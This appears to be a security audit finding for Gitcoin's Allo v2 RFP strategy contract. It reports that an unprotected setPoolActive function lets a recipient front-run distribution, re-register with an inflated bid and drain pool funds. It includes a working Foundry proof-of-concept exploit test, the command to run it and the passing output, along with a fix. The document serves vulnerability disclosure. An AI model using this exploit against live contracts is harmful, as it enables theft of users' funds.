Clumsy Pecan Jay

high

# RFP Recipient can steal funds by toggling the pool activity state

The `setPoolActive` should be callable by the pool manager however it is missing an `onlyPoolManager` modifier.
This allows a malicious recipient to perform a set of steps to steal funds.

## Vulnerability Detail

`setPoolActive` is unprotected:
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219
```solidity
    function setPoolActive(bool _flag) external {
        _setPoolActive(_flag);
        emit PoolActive(_flag);
    }
```

The pool activity state determains what functions are callable by the modifiers `onlyInactivePool` and `onlyActivePool`.

For example - only in an active pool recipients can register and re-register. This is to prevent any changes after an allocation and change the state of the phase of the contract.

```solidity
    function _registerRecipient(bytes memory _data, address _sender)
        internal
        override
        onlyActivePool
```

Since anyone can change the activity state of the pool, an accepted recipient can front-run the `distribute` function - change the state, re-register with a higher bid and change again the activity state to false. 
This will steal unintended funds from the pool.

Consider the following scenario:
1. Manager creates an RFP pool with `100 ETH`.
2. Manager sets `two` milestones with `70%` payment for first milestone and `30%` for second.
3. Multiple recipients apply but `Alice` applies with a cheap `proposalBid` of only `20 ETH`.
4. Since `Alice` proposal is cheap, the manager calls `allocate` to chose `Alice`.
6. `Alice` completes the first milestone and submits it and the manager accepts the submission.
7. The manager calls `distribute` to move to the next milestone and pay `Alice` rewards for the first milestone
8. `Alice` front-runs the call to `distribute` and sets the pool state to true. re-registers updating her `proposalBid` to `100 ETH`.  Sets the pool state to false.
9.  `distribute` is executed and `70 ETH` is sent instead of `14 ETH`.

## Impact

Theft of more then intended and potentially all pool funds.

## Code Snippet

Add the following test to `RFPSimpleStrategy.t.sol`
```solidity
    function test_stealPoolFundsDistribute() external {
        uint256 poolTotalBeforeFee = 100 ether;
        uint256 percentFee =  (poolTotalBeforeFee * 1e16) / 1e18;
        uint256 poolTotal = poolTotalBeforeFee - percentFee;

        // Fund pool with ~100 ether
        vm.deal(pool_admin(), 100 ether);
        vm.prank(pool_admin());
        allo().fundPool{value: poolTotalBeforeFee}(poolId, poolTotalBeforeFee);

        // Increase max bid to ~100 ether
        vm.prank(pool_admin());
        strategy.increaseMaxBid(poolTotal);

        // Register
        address sender = recipient();
        uint256 recipientFakeProposalBid = 20 ether;
        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
        bytes memory data = abi.encode(recipientAddress(), false, recipientFakeProposalBid, metadata);
        vm.prank(address(allo()));
        address recipientIdReceived = strategy.registerRecipient(data, sender);

        // Set Milestones
        __setMilestones();

        // Allocate
        vm.prank(address(allo()));
        strategy.allocate(abi.encode(recipientIdReceived), address(pool_admin()));

        // Submit milestone
        vm.prank(recipient());
        strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: "metadata"}));

        // Front-run distribute, activate pool, register, deactive pool
        vm.prank(recipient());
        strategy.setPoolActive(true);

        data = abi.encode(recipientAddress(), false, poolTotal, metadata);
        vm.prank(address(allo()));
        recipientIdReceived = strategy.registerRecipient(data, sender);
        
        vm.prank(recipient());
        strategy.setPoolActive(false);

        // Distribute
        vm.prank(address(allo()));
        strategy.distribute(new address[](0), "", pool_admin());

        // Alice should receive 70% of the poolTotal (~70 eth)
        assertEq(recipientAddress().balance, (poolTotal * 7e17) / 1e18);
    }
```

To execute the test run the command:
```solidity
forge test --match-test "test_stealPoolFundsDistribute" -v
```

Expected output:
```solidity
Running 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest
[PASS] test_stealPoolFundsDistribute() (gas: 618183)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.41ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
## Tool used

Manual Review

## Recommendation

Add a `onlyPoolManager(msg.sender)` modifier to `setPoolActive`